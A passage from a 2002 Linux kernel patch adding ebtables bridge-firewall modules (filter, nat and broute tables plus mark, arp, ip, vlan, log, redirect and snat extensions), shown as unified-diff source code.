net_device *in, + const struct net_device *out, int (*okfn)(struct sk_buff *)) +{ + return ebt_do_table(hook, pskb, in, out, &frame_filter); +} + +static struct nf_hook_ops ebt_ops_filter[] = { + { { NULL, NULL }, ebt_hook, PF_BRIDGE, NF_BR_LOCAL_IN, + NF_BR_PRI_FILTER_BRIDGED}, + { { NULL, NULL }, ebt_hook, PF_BRIDGE, NF_BR_FORWARD, + NF_BR_PRI_FILTER_BRIDGED}, + { { NULL, NULL }, ebt_hook, PF_BRIDGE, NF_BR_LOCAL_OUT, + NF_BR_PRI_FILTER_OTHER} +}; + +static int __init init(void) +{ + int i, j, ret; + + ret = ebt_register_table(&frame_filter); + if (ret < 0) + return ret; + for (i = 0; i < sizeof(ebt_ops_filter) / sizeof(ebt_ops_filter[0]); i++) + if ((ret = nf_register_hook(&ebt_ops_filter[i])) < 0) + goto cleanup; + return ret; +cleanup: + for (j = 0; j < i; j++) + nf_unregister_hook(&ebt_ops_filter[j]); + ebt_unregister_table(&frame_filter); + return ret; +} + +static void __exit fini(void) +{ + int i; + + for (i = 0; i < sizeof(ebt_ops_filter) / sizeof(ebt_ops_filter[0]); i++) + nf_unregister_hook(&ebt_ops_filter[i]); + ebt_unregister_table(&frame_filter); +} + +module_init(init); +module_exit(fini); +EXPORT_NO_SYMBOLS; +MODULE_LICENSE("GPL"); --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/net/bridge/netfilter/ebtable_nat.c Wed Sep 11 23:06:55 2002 @@ -0,0 +1,96 @@ +/* + * ebtable_nat + * + * Authors: + * Bart De Schuymer + * + * April, 2002 + * + */ + +#include +#include +#define NAT_VALID_HOOKS ((1 << NF_BR_PRE_ROUTING) | (1 << NF_BR_LOCAL_OUT) | \ + (1 << NF_BR_POST_ROUTING)) + +static struct ebt_entries initial_chains[] = +{ + {0, "PREROUTING", 0, EBT_ACCEPT, 0}, + {0, "OUTPUT", 0, EBT_ACCEPT, 0}, + {0, "POSTROUTING", 0, EBT_ACCEPT, 0} +}; + +static struct ebt_replace initial_table = +{ + "nat", NAT_VALID_HOOKS, 0, 3 * sizeof(struct ebt_entries), + { [NF_BR_PRE_ROUTING]&initial_chains[0], [NF_BR_LOCAL_OUT]&initial_chains[1], + [NF_BR_POST_ROUTING]&initial_chains[2] }, 0, NULL, (char *)initial_chains +}; + +static int check(const struct ebt_table_info *info, unsigned int valid_hooks) +{ + if (valid_hooks & ~NAT_VALID_HOOKS) + return -EINVAL; + return 0; +} + +static struct ebt_table frame_nat = +{ + {NULL, NULL}, "nat", &initial_table, NAT_VALID_HOOKS, + RW_LOCK_UNLOCKED, check, NULL +}; + +static unsigned int +ebt_nat_dst(unsigned int hook, struct sk_buff **pskb, const struct net_device *in + , const struct net_device *out, int (*okfn)(struct sk_buff *)) +{ + return ebt_do_table(hook, pskb, in, out, &frame_nat); +} + +static unsigned int +ebt_nat_src(unsigned int hook, struct sk_buff **pskb, const struct net_device *in + , const struct net_device *out, int (*okfn)(struct sk_buff *)) +{ + return ebt_do_table(hook, pskb, in, out, &frame_nat); +} + +static struct nf_hook_ops ebt_ops_nat[] = { + { { NULL, NULL }, ebt_nat_dst, PF_BRIDGE, NF_BR_LOCAL_OUT, + NF_BR_PRI_NAT_DST_OTHER}, + { { NULL, NULL }, ebt_nat_src, PF_BRIDGE, NF_BR_POST_ROUTING, + NF_BR_PRI_NAT_SRC}, + { { NULL, NULL }, ebt_nat_dst, PF_BRIDGE, NF_BR_PRE_ROUTING, + NF_BR_PRI_NAT_DST_BRIDGED}, +}; + +static int __init init(void) +{ + int i, ret, j; + + ret = ebt_register_table(&frame_nat); + if (ret < 0) + return ret; + for (i = 0; i < sizeof(ebt_ops_nat) / sizeof(ebt_ops_nat[0]); i++) + if ((ret = nf_register_hook(&ebt_ops_nat[i])) < 0) + goto cleanup; + return ret; +cleanup: + for (j = 0; j < i; j++) + nf_unregister_hook(&ebt_ops_nat[j]); + ebt_unregister_table(&frame_nat); + return ret; +} + +static void __exit fini(void) +{ + int i; + + for (i = 0; i < sizeof(ebt_ops_nat) / sizeof(ebt_ops_nat[0]); i++) + nf_unregister_hook(&ebt_ops_nat[i]); + ebt_unregister_table(&frame_nat); +} + +module_init(init); +module_exit(fini); +EXPORT_NO_SYMBOLS; +MODULE_LICENSE("GPL"); --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/net/bridge/netfilter/ebtable_broute.c Wed Sep 11 23:06:55 2002 @@ -0,0 +1,75 @@ +/* + * ebtable_broute + * + * Authors: + * Bart De Schuymer + * + * April, 2002 + * + * This table lets you choose between routing and bridging for frames + * entering on a bridge enslaved nic. This table is traversed before any + * other ebtables table. See net/bridge/br_input.c. + */ + +#include +#include +#include +#include + +// EBT_ACCEPT means the frame will be bridged +// EBT_DROP means the frame will be routed +static struct ebt_entries initial_chain = + {0, "BROUTING", 0, EBT_ACCEPT, 0}; + +static struct ebt_replace initial_table = +{ + "broute", 1 << NF_BR_BROUTING, 0, sizeof(struct ebt_entries), + { [NF_BR_BROUTING]&initial_chain}, 0, NULL, (char *)&initial_chain +}; + +static int check(const struct ebt_table_info *info, unsigned int valid_hooks) +{ + if (valid_hooks & ~(1 << NF_BR_BROUTING)) + return -EINVAL; + return 0; +} + +static struct ebt_table broute_table = +{ + {NULL, NULL}, "broute", &initial_table, 1 << NF_BR_BROUTING, + RW_LOCK_UNLOCKED, check, NULL +}; + +static unsigned int +ebt_broute(unsigned int hook, struct sk_buff **pskb, const struct net_device *in, + const struct net_device *out, int (*okfn)(struct sk_buff *)) +{ + return ebt_do_table(hook, pskb, in, out, &broute_table); +} + +static int __init init(void) +{ + int ret; + + ret = ebt_register_table(&broute_table); + if (ret < 0) + return ret; + br_write_lock_bh(BR_NETPROTO_LOCK); + // in br_input.c, br_handle_frame() wants to call broute_decision() + broute_decision = ebt_broute; + br_write_unlock_bh(BR_NETPROTO_LOCK); + return ret; +} + +static void __exit fini(void) +{ + br_write_lock_bh(BR_NETPROTO_LOCK); + broute_decision = NULL; + br_write_unlock_bh(BR_NETPROTO_LOCK); + ebt_unregister_table(&broute_table); +} + +module_init(init); +module_exit(fini); +EXPORT_NO_SYMBOLS; +MODULE_LICENSE("GPL"); --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/net/bridge/netfilter/ebt_mark.c Wed Sep 11 23:06:55 2002 @@ -0,0 +1,66 @@ +/* + * ebt_mark + * + * Authors: + * Bart De Schuymer + * + * July, 2002 + * + */ + +// The mark target can be used in any chain +// I believe adding a mangle table just for marking is total overkill +// Marking a frame doesn't really change anything in the frame anyway + +#include +#include +#include + +static int ebt_target_mark(struct sk_buff **pskb, unsigned int hooknr, + const struct net_device *in, const struct net_device *out, + const void *data, unsigned int datalen) +{ + struct ebt_mark_t_info *info = (struct ebt_mark_t_info *)data; + + if ((*pskb)->nfmark != info->mark) { + (*pskb)->nfmark = info->mark; + (*pskb)->nfcache |= NFC_ALTERED; + } + return info->target; +} + +static int ebt_target_mark_check(const char *tablename, unsigned int hookmask, + const struct ebt_entry *e, void *data, unsigned int datalen) +{ + struct ebt_mark_t_info *info = (struct ebt_mark_t_info *)data; + + if (datalen != sizeof(struct ebt_mark_t_info)) + return -EINVAL; + if (BASE_CHAIN && info->target == EBT_RETURN) + return -EINVAL; + CLEAR_BASE_CHAIN_BIT; + if (INVALID_TARGET) + return -EINVAL; + return 0; +} + +static struct ebt_target mark_target = +{ + {NULL, NULL}, EBT_MARK_TARGET, ebt_target_mark, + ebt_target_mark_check, NULL, THIS_MODULE +}; + +static int __init init(void) +{ + return ebt_register_target(&mark_target); +} + +static void __exit fini(void) +{ + ebt_unregister_target(&mark_target); +} + +module_init(init); +module_exit(fini); +EXPORT_NO_SYMBOLS; +MODULE_LICENSE("GPL"); --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/net/bridge/netfilter/ebt_mark_m.c Wed Sep 11 23:06:55 2002 @@ -0,0 +1,61 @@ +/* + * ebt_mark_m + * + * Authors: + * Bart De Schuymer + * + * July, 2002 + * + */ + +#include +#include +#include + +static int ebt_filter_mark(const struct sk_buff *skb, + const struct net_device *in, const struct net_device *out, const void *data, + unsigned int datalen) +{ + struct ebt_mark_m_info *info = (struct ebt_mark_m_info *) data; + + if (info->bitmask & EBT_MARK_OR) + return !(!!(skb->nfmark & info->mask) ^ info->invert); + return !(((skb->nfmark & info->mask) == info->mark) ^ info->invert); +} + +static int ebt_mark_check(const char *tablename, unsigned int hookmask, + const struct ebt_entry *e, void *data, unsigned int datalen) +{ + struct ebt_mark_m_info *info = (struct ebt_mark_m_info *) data; + + if (datalen != sizeof(struct ebt_mark_m_info)) + return -EINVAL; + if (info->bitmask & ~EBT_MARK_MASK) + return -EINVAL; + if ((info->bitmask & EBT_MARK_OR) && (info->bitmask & EBT_MARK_AND)) + return -EINVAL; + if (!info->bitmask) + return -EINVAL; + return 0; +} + +static struct ebt_match filter_mark = +{ + {NULL, NULL}, EBT_MARK_MATCH, ebt_filter_mark, ebt_mark_check, NULL, + THIS_MODULE +}; + +static int __init init(void) +{ + return ebt_register_match(&filter_mark); +} + +static void __exit fini(void) +{ + ebt_unregister_match(&filter_mark); +} + +module_init(init); +module_exit(fini); +EXPORT_NO_SYMBOLS; +MODULE_LICENSE("GPL"); --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/net/bridge/netfilter/ebt_redirect.c Wed Sep 11 23:06:55 2002 @@ -0,0 +1,71 @@ +/* + * ebt_redirect + * + * Authors: + * Bart De Schuymer + * + * April, 2002 + * + */ + +#include +#include +#include +#include +#include "../br_private.h" + +static int ebt_target_redirect(struct sk_buff **pskb, unsigned int hooknr, + const struct net_device *in, const struct net_device *out, + const void *data, unsigned int datalen) +{ + struct ebt_redirect_info *info = (struct ebt_redirect_info *)data; + + if (hooknr != NF_BR_BROUTING) + memcpy((**pskb).mac.ethernet->h_dest, + in->br_port->br->dev.dev_addr, ETH_ALEN); + else { + memcpy((**pskb).mac.ethernet->h_dest, + in->dev_addr, ETH_ALEN); + (*pskb)->pkt_type = PACKET_HOST; + } + return info->target; +} + +static int ebt_target_redirect_check(const char *tablename, unsigned int hookmask, + const struct ebt_entry *e, void *data, unsigned int datalen) +{ + struct ebt_redirect_info *info = (struct ebt_redirect_info *)data; + + if (datalen != sizeof(struct ebt_redirect_info)) + return -EINVAL; + if (BASE_CHAIN && info->target == EBT_RETURN) + return -EINVAL; + CLEAR_BASE_CHAIN_BIT; + if ( (strcmp(tablename, "nat") || hookmask & ~(1 << NF_BR_PRE_ROUTING)) && + (strcmp(tablename, "broute") || hookmask & ~(1 << NF_BR_BROUTING)) ) + return -EINVAL; + if (INVALID_TARGET) + return -EINVAL; + return 0; +} + +static struct ebt_target redirect_target = +{ + {NULL, NULL}, EBT_REDIRECT_TARGET, ebt_target_redirect, + ebt_target_redirect_check, NULL, THIS_MODULE +}; + +static int __init init(void) +{ + return ebt_register_target(&redirect_target); +} + +static void __exit fini(void) +{ + ebt_unregister_target(&redirect_target); +} + +module_init(init); +module_exit(fini); +EXPORT_NO_SYMBOLS; +MODULE_LICENSE("GPL"); --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/net/bridge/netfilter/ebt_arp.c Wed Sep 11 23:06:55 2002 @@ -0,0 +1,102 @@ +/* + * ebt_arp + * + * Authors: + * Bart De Schuymer + * Tim Gardner + * + * April, 2002 + * + */ + +#include +#include +#include +#include + +static int ebt_filter_arp(const struct sk_buff *skb, const struct net_device *in, + const struct net_device *out, const void *data, unsigned int datalen) +{ + struct ebt_arp_info *info = (struct ebt_arp_info *)data; + + if (info->bitmask & EBT_ARP_OPCODE && FWINV(info->opcode != + ((*skb).nh.arph)->ar_op, EBT_ARP_OPCODE)) + return EBT_NOMATCH; + if (info->bitmask & EBT_ARP_HTYPE && FWINV(info->htype != + ((*skb).nh.arph)->ar_hrd, EBT_ARP_HTYPE)) + return EBT_NOMATCH; + if (info->bitmask & EBT_ARP_PTYPE && FWINV(info->ptype != + ((*skb).nh.arph)->ar_pro, EBT_ARP_PTYPE)) + return EBT_NOMATCH; + + if (info->bitmask & (EBT_ARP_SRC_IP | EBT_ARP_DST_IP)) + { + uint32_t arp_len = sizeof(struct arphdr) + + (2 * (((*skb).nh.arph)->ar_hln)) + + (2 * (((*skb).nh.arph)->ar_pln)); + uint32_t dst; + uint32_t src; + + // Make sure the packet is long enough. + if ((((*skb).nh.raw) + arp_len) > (*skb).tail) + return EBT_NOMATCH; + // IPv4 addresses are always 4 bytes. + if (((*skb).nh.arph)->ar_pln != sizeof(uint32_t)) + return EBT_NOMATCH; + + if (info->bitmask & EBT_ARP_SRC_IP) { + memcpy(&src, ((*skb).nh.raw) + sizeof(struct arphdr) + + ((*skb).nh.arph)->ar_hln, sizeof(uint32_t)); + if (FWINV(info->saddr != (src & info->smsk), + EBT_ARP_SRC_IP)) + return EBT_NOMATCH; + } + + if (info->bitmask & EBT_ARP_DST_IP) { + memcpy(&dst, ((*skb).nh.raw)+sizeof(struct arphdr) + + (2*(((*skb).nh.arph)->ar_hln)) + + (((*skb).nh.arph)->ar_pln), sizeof(uint32_t)); + if (FWINV(info->daddr != (dst & info->dmsk), + EBT_ARP_DST_IP)) + return EBT_NOMATCH; + } + } + return EBT_MATCH; +} + +static int ebt_arp_check(const char *tablename, unsigned int hookmask, + const struct ebt_entry *e, void *data, unsigned int datalen) +{ + struct ebt_arp_info *info = (struct ebt_arp_info *)data; + + if (datalen != sizeof(struct ebt_arp_info)) + return -EINVAL; + if ((e->ethproto != __constant_htons(ETH_P_ARP) && + e->ethproto != __constant_htons(ETH_P_RARP)) || + e->invflags & EBT_IPROTO) + return -EINVAL; + if (info->bitmask & ~EBT_ARP_MASK || info->invflags & ~EBT_ARP_MASK) + return -EINVAL; + return 0; +} + +static struct ebt_match filter_arp = +{ + {NULL, NULL}, EBT_ARP_MATCH, ebt_filter_arp, ebt_arp_check, NULL, + THIS_MODULE +}; + +static int __init init(void) +{ + return ebt_register_match(&filter_arp); +} + +static void __exit fini(void) +{ + ebt_unregister_match(&filter_arp); +} + +module_init(init); +module_exit(fini); +EXPORT_NO_SYMBOLS; +MODULE_LICENSE("GPL"); --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/net/bridge/netfilter/ebt_ip.c Wed Sep 11 23:06:55 2002 @@ -0,0 +1,73 @@ +/* + * ebt_ip + * + * Authors: + * Bart De Schuymer + * + * April, 2002 + * + */ + +#include +#include +#include +#include + +static int ebt_filter_ip(const struct sk_buff *skb, const struct net_device *in, + const struct net_device *out, const void *data, + unsigned int datalen) +{ + struct ebt_ip_info *info = (struct ebt_ip_info *)data; + + if (info->bitmask & EBT_IP_TOS && + FWINV(info->tos != ((*skb).nh.iph)->tos, EBT_IP_TOS)) + return EBT_NOMATCH; + if (info->bitmask & EBT_IP_PROTO && FWINV(info->protocol != + ((*skb).nh.iph)->protocol, EBT_IP_PROTO)) + return EBT_NOMATCH; + if (info->bitmask & EBT_IP_SOURCE && + FWINV((((*skb).nh.iph)->saddr & info->smsk) != + info->saddr, EBT_IP_SOURCE)) + return EBT_NOMATCH; + if ((info->bitmask & EBT_IP_DEST) && + FWINV((((*skb).nh.iph)->daddr & info->dmsk) != + info->daddr, EBT_IP_DEST)) + return EBT_NOMATCH; + return EBT_MATCH; +} + +static int ebt_ip_check(const char *tablename, unsigned int hookmask, + const struct ebt_entry *e, void *data, unsigned int datalen) +{ + struct ebt_ip_info *info = (struct ebt_ip_info *)data; + + if (datalen != sizeof(struct ebt_ip_info)) + return -EINVAL; + if (e->ethproto != __constant_htons(ETH_P_IP) || + e->invflags & EBT_IPROTO) + return -EINVAL; + if (info->bitmask & ~EBT_IP_MASK || info->invflags & ~EBT_IP_MASK) + return -EINVAL; + return 0; +} + +static struct ebt_match filter_ip = +{ + {NULL, NULL}, EBT_IP_MATCH, ebt_filter_ip, ebt_ip_check, NULL, + THIS_MODULE +}; + +static int __init init(void) +{ + return ebt_register_match(&filter_ip); +} + +static void __exit fini(void) +{ + ebt_unregister_match(&filter_ip); +} + +module_init(init); +module_exit(fini); +EXPORT_NO_SYMBOLS; +MODULE_LICENSE("GPL"); --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/net/bridge/netfilter/ebt_vlan.c Wed Sep 11 23:56:37 2002 @@ -0,0 +1,318 @@ +/* + * Description: EBTables 802.1Q match extension kernelspace module. + * Authors: Nick Fedchik + * Bart De Schuymer + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + */ + +#include +#include +#include +#include +#include + +static unsigned char debug; +#define MODULE_VERSION "0.4 (" __DATE__ " " __TIME__ ")" + +MODULE_PARM (debug, "0-1b"); +MODULE_PARM_DESC (debug, "debug=1 is turn on debug messages"); +MODULE_AUTHOR ("Nick Fedchik "); +MODULE_DESCRIPTION ("802.1Q match module (ebtables extension), v" + MODULE_VERSION); +MODULE_LICENSE ("GPL"); + + +#define DEBUG_MSG(...) if (debug) printk (KERN_DEBUG __FILE__ ":" __VA_ARGS__) +#define INV_FLAG(_inv_flag_) (info->invflags & _inv_flag_) ? "!" : "" +#define GET_BITMASK(_BIT_MASK_) info->bitmask & _BIT_MASK_ +#define SET_BITMASK(_BIT_MASK_) info->bitmask |= _BIT_MASK_ +#define EXIT_ON_MISMATCH(_MATCH_,_MASK_) if (!((info->_MATCH_ == _MATCH_)^!!(info->invflags & _MASK_))) return 1; + +/* + * Function description: ebt_filter_vlan() is main engine for + * checking passed 802.1Q frame according to + * the passed extension parameters (in the *data buffer) + * ebt_filter_vlan() is called after successfull check the rule params + * by ebt_check_vlan() function. + * Parameters: + * const struct sk_buff *skb - pointer to passed ethernet frame buffer + * const void *data - pointer to passed extension parameters + * unsigned int datalen - length of passed *data buffer + * const struct net_device *in - + * const struct net_device *out - + * const struct ebt_counter *c - + * Returned values: + * 0 - ok (all rule params matched) + * 1 - miss (rule params not acceptable to the parsed frame) + */ +static int +ebt_filter_vlan (const struct sk_buff *skb, + const struct net_device *in, + const struct net_device *out, + const void *data, + unsigned int datalen) +{ + struct ebt_vlan_info *info = (struct ebt_vlan_info *) data; /* userspace data */ + struct vlan_ethhdr *frame = (struct vlan_ethhdr *) skb->mac.raw; /* Passed tagged frame */ + + unsigned short TCI; /* Whole TCI, given from parsed frame */ + unsigned short id; /* VLAN ID, given from frame TCI */ + unsigned char prio; /* user_priority, given from frame TCI */ + unsigned short encap; /* VLAN encapsulated Type/Length field, given from orig frame */ + + /* + * Tag Control Information (TCI) consists of the following elements: + * - User_priority. This field allows the tagged frame to carry user_priority + * information across Bridged LANs in which individual LAN segments may be unable to signal + * priority information (e.g., 802.3/Ethernet segments). + * The user_priority field is three bits in length, + * interpreted as a binary number. The user_priority is therefore + * capable of representing eight priority levels, 0 through 7. + * The use and interpretation of this field is defined in ISO/IEC 15802-3. + * - Canonical Format Indicator (CFI). This field is used, + * in 802.3/Ethernet, to signal the presence or absence + * of a RIF field, and, in combination with the Non-canonical Format Indicator (NCFI) carried + * in the RIF, to signal the bit order of address information carried in the encapsulated + * frame. The Canonical Format Indicator (CFI) is a single bit flag value. + * - VLAN Identifier (VID). This field uniquely identifies the VLAN to + * which the frame belongs. The twelve-bit VLAN Identifier (VID) field + * uniquely identify the VLAN to which the frame belongs. + * The VID is encoded as an unsigned binary number. + */ + TCI = ntohs (frame->h_vlan_TCI); + id = TCI & 0xFFF; + prio = TCI >> 13; + encap = frame->h_vlan_encapsulated_proto; + + /* + * First step is to check is null VLAN ID present + * in the parsed frame + */ + if (!(id)) { + /* + * Checking VLAN Identifier (VID) + */ + if (GET_BITMASK (EBT_VLAN_ID)) { /* Is VLAN ID parsed? */ + EXIT_ON_MISMATCH (id, EBT_VLAN_ID); + DEBUG_MSG + ("matched rule id=%s%d for frame id=%d\n", + INV_FLAG (EBT_VLAN_ID), info->id, id); + } + } else { + /* + * Checking user_priority + */ + if (GET_BITMASK (EBT_VLAN_PRIO)) { /* Is VLAN user_priority parsed? */ + EXIT_ON_MISMATCH (prio, EBT_VLAN_PRIO); + DEBUG_MSG + ("matched rule prio=%s%d for frame prio=%d\n", + INV_FLAG (EBT_VLAN_PRIO), info->prio, + prio); + } + } + /* + * Checking Encapsulated Proto (Length/Type) field + */ + if (GET_BITMASK (EBT_VLAN_ENCAP)) { /* Is VLAN Encap parsed? */ + EXIT_ON_MISMATCH (encap, EBT_VLAN_ENCAP); + DEBUG_MSG ("matched encap=%s%2.4X for frame encap=%2.4X\n", + INV_FLAG (EBT_VLAN_ENCAP), + ntohs (info->encap), ntohs (encap)); + } + /* + * All possible extension parameters was parsed. + * If rule never returned by missmatch, then all ok. + */ + return 0; +} + +/* + * Function description: ebt_vlan_check() is called when userspace + * delivers the table to the kernel, + * and to check that userspace doesn't give a bad table. + * Parameters: + * const char *tablename - table name string + * unsigned int hooknr - hook number + * const struct ebt_entry *e - ebtables entry basic set + * const void *data - pointer to passed extension parameters + * unsigned int datalen - length of passed *data buffer + * Returned values: + * 0 - ok (all delivered rule params are correct) + * 1 - miss (rule params is out of range, invalid, incompatible, etc.) + */ +static int +ebt_check_vlan (const char *tablename, + unsigned int hooknr, + const struct ebt_entry *e, void *data, + unsigned int datalen) +{ + struct ebt_vlan_info *info = (struct ebt_vlan_info *) data; + + /* + * Parameters buffer overflow check + */ + if (datalen != sizeof (struct ebt_vlan_info)) { + DEBUG_MSG + ("params size %d is not eq to ebt_vlan_info (%d)\n", + datalen, sizeof (struct ebt_vlan_info)); + return -EINVAL; + } + + /* + * Is it 802.1Q frame checked? + */ + if (e->ethproto != __constant_htons (ETH_P_8021Q)) { + DEBUG_MSG ("passed entry proto %2.4X is not 802.1Q (8100)\n", + (unsigned short) ntohs (e->ethproto)); + return -EINVAL; + } + + /* + * Check for bitmask range + * True if even one bit is out of mask + */ + if (info->bitmask & ~EBT_VLAN_MASK) { + DEBUG_MSG ("bitmask %2X is out of mask (%2X)\n", + info->bitmask, EBT_VLAN_MASK); + return -EINVAL; + } + + /* + * Check for inversion flags range + */ + if (info->invflags & ~EBT_VLAN_MASK) { + DEBUG_MSG ("inversion flags %2X is out of mask (%2X)\n", + info->invflags, EBT_VLAN_MASK); + return -EINVAL; + } + + /* + * Reserved VLAN ID (VID) values + * ----------------------------- + * 0 - The null VLAN ID. Indicates that the tag header contains only user_priority information; + * no VLAN identifier is present in the frame. This VID value shall not be + * configured as a PVID, configured in any Filtering Database entry, or used in any + * Management operation. + * + * 1 - The default Port VID (PVID) value used for classifying frames on ingress through a Bridge + * Port. The PVID value can be changed by management on a per-Port basis. + * + * 0x0FFF - Reserved for implementation use. This VID value shall not be configured as a + * PVID or transmitted in a tag header. + * + * The remaining values of VID are available for general use as VLAN identifiers. + * A Bridge may implement the ability to support less than the full range of VID values; + * i.e., for a given implementation, + * an upper limit, N, is defined for the VID values supported, where N is less than or equal to 4094. + * All implementations shall support the use of all VID values in the range 0 through their defined maximum + * VID, N. + * + * For Linux, N = 4094. + */ + if (GET_BITMASK (EBT_VLAN_ID)) { /* when vlan-id param was spec-ed */ + if (!!info->id) { /* if id!=0 => check vid range */ + if (info->id > 4094) { /* check if id > than (0x0FFE) */ + DEBUG_MSG + ("vlan id %d is out of range (1-4094)\n", + info->id); + return -EINVAL; + } + /* + * Note: This is valid VLAN-tagged frame point. + * Any value of user_priority are acceptable, but could be ignored + * according to 802.1Q Std. + */ + } else { + /* + * if id=0 (null VLAN ID) => Check for user_priority range + */ + if (GET_BITMASK (EBT_VLAN_PRIO)) { + if ((unsigned char) info->prio > 7) { + DEBUG_MSG + ("prio %d is out of range (0-7)\n", + info->prio); + return -EINVAL; + } + } + /* + * Note2: This is valid priority-tagged frame point + * with null VID field. + */ + } + } else { /* VLAN Id not set */ + if (GET_BITMASK (EBT_VLAN_PRIO)) { /* But user_priority is set - abnormal! */ + info->id = 0; /* Set null VID (case for Priority-tagged frames) */ + SET_BITMASK (EBT_VLAN_ID); /* and set id flag */ + } + } + /* + * Check for encapsulated proto range - it is possible to be any value for u_short range. + * When relaying a tagged frame between 802.3/Ethernet MACs, + * a Bridge may adjust the padding field such that + * the minimum size of a transmitted tagged frame is 68 octets (7.2). + * if_ether.h: ETH_ZLEN 60 - Min. octets in frame sans FCS + */ + if (GET_BITMASK (EBT_VLAN_ENCAP)) { + if ((unsigned short) ntohs (info->encap) < ETH_ZLEN) { + DEBUG_MSG + ("encap packet length %d is less than minimal %d\n", + ntohs (info->encap), ETH_ZLEN); + return -EINVAL; + } + } + + /* + * Otherwise is all correct + */ + DEBUG_MSG ("802.1Q tagged frame checked (%s table, %d hook)\n", + tablename, hooknr); + return 0; +} + +static struct ebt_match filter_vlan = { + {NULL, NULL}, + EBT_VLAN_MATCH, + ebt_filter_vlan, + ebt_check_vlan, + NULL, + THIS_MODULE +}; + +/* + * Module initialization function. + * Called when module is loaded to kernelspace + */ +static int __init init (void) +{ + DEBUG_MSG ("ebtables 802.1Q extension module v" + MODULE_VERSION "\n"); + DEBUG_MSG ("module debug=%d\n", !!debug); + return ebt_register_match (&filter_vlan); +} + +/* + * Module "finalization" function + * Called when download module from kernelspace + */ +static void __exit fini (void) +{ + ebt_unregister_match (&filter_vlan); +} + +module_init (init); +module_exit (fini); + +EXPORT_NO_SYMBOLS; --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/net/bridge/netfilter/ebt_log.c Wed Sep 11 23:06:55 2002 @@ -0,0 +1,100 @@ +/* + * ebt_log + * + * Authors: + * Bart De Schuymer + * + * April, 2002 + * + */ + +#include +#include +#include +#include +#include +#include + +static spinlock_t ebt_log_lock = SPIN_LOCK_UNLOCKED; + +static int ebt_log_check(const char *tablename, unsigned int hookmask, + const struct ebt_entry *e, void *data, unsigned int datalen) +{ + struct ebt_log_info *info = (struct ebt_log_info *)data; + + if (datalen != sizeof(struct ebt_log_info)) + return -EINVAL; + if (info->bitmask & ~EBT_LOG_MASK) + return -EINVAL; + if (info->loglevel >= 8) + return -EINVAL; + info->prefix[EBT_LOG_PREFIX_SIZE - 1] = '\0'; + return 0; +} + +static void ebt_log(const struct sk_buff *skb, const struct net_device *in, + const struct net_device *out, const void *data, unsigned int datalen) +{ + struct ebt_log_info *info = (struct ebt_log_info *)data; + char level_string[4] = "< >"; + level_string[1] = '0' + info->loglevel; + + spin_lock_bh(&ebt_log_lock); + printk(level_string); + printk("%s IN=%s OUT=%s ", info->prefix, in ? in->name : "", + out ? out->name : ""); + + if (skb->dev->hard_header_len) { + int i; + unsigned char *p = (skb->mac.ethernet)->h_source; + + printk("MAC source = "); + for (i = 0; i < ETH_ALEN; i++,p++) + printk("%02x%c", *p, i == ETH_ALEN - 1 ? ' ':':'); + printk("MAC dest = "); + p = (skb->mac.ethernet)->h_dest; + for (i = 0; i < ETH_ALEN; i++,p++) + printk("%02x%c", *p, i == ETH_ALEN - 1 ? ' ':':'); + } + printk("proto = 0x%04x", ntohs(((*skb).mac.ethernet)->h_proto)); + + if ((info->bitmask & EBT_LOG_IP) && skb->mac.ethernet->h_proto == + htons(ETH_P_IP)){ + struct iphdr *iph = skb->nh.iph; + printk(" IP SRC=%u.%u.%u.%u IP DST=%u.%u.%u.%u,", + NIPQUAD(iph->saddr), NIPQUAD(iph->daddr)); + printk(" IP tos=0x%02X, IP proto=%d", iph->tos, iph->protocol); + } + + if ((info->bitmask & EBT_LOG_ARP) && + ((skb->mac.ethernet->h_proto == __constant_htons(ETH_P_ARP)) || + (skb->mac.ethernet->h_proto == __constant_htons(ETH_P_RARP)))) { + struct arphdr * arph = skb->nh.arph; + printk(" ARP HTYPE=%d, PTYPE=0x%04x, OPCODE=%d", + ntohs(arph->ar_hrd), ntohs(arph->ar_pro), + ntohs(arph->ar_op)); + } + printk("\n"); + spin_unlock_bh(&ebt_log_lock); +} + +struct ebt_watcher log = +{ + {NULL, NULL}, EBT_LOG_WATCHER, ebt_log, ebt_log_check, NULL, + THIS_MODULE +}; + +static int __init init(void) +{ + return ebt_register_watcher(&log); +} + +static void __exit fini(void) +{ + ebt_unregister_watcher(&log); +} + +module_init(init); +module_exit(fini); +EXPORT_NO_SYMBOLS; +MODULE_LICENSE("GPL"); --- /dev/null Thu Aug 24 11:00:32 2000 +++ linux-2.5.34-ebtables/net/bridge/netfilter/ebt_snat.c Wed Sep 11 23:06:55 2002 @@ -0,0 +1,64 @@ +/* + * ebt_snat + * + * Authors: + * Bart De Schuymer + * + * June, 2002 + * + */ + +#include +#include +#include + +static int ebt_target_snat(struct sk_buff **pskb, unsigned int hooknr, + const struct net_device *in, const struct net_device *out, + const void *data, unsigned int datalen) +{ + struct ebt_nat_info *info = (struct ebt_nat_info *) data; + + memcpy(((**pskb).mac.ethernet)->h_source, info->mac, + ETH_ALEN * sizeof(unsigned char)); + return info->target; +} + +static int ebt_target_snat_check(const char *tablename, unsigned int hookmask, + const struct ebt_entry *e, void *data, unsigned int datalen) +{ + struct ebt_nat_info *info = (struct ebt_nat_info *) data; + + if (datalen != sizeof(struct ebt_nat_info)) + return -EINVAL; + if (BASE_CHAIN && info->target == EBT_RETURN) + return -EINVAL; + CLEAR_BASE_CHAIN_BIT; + if 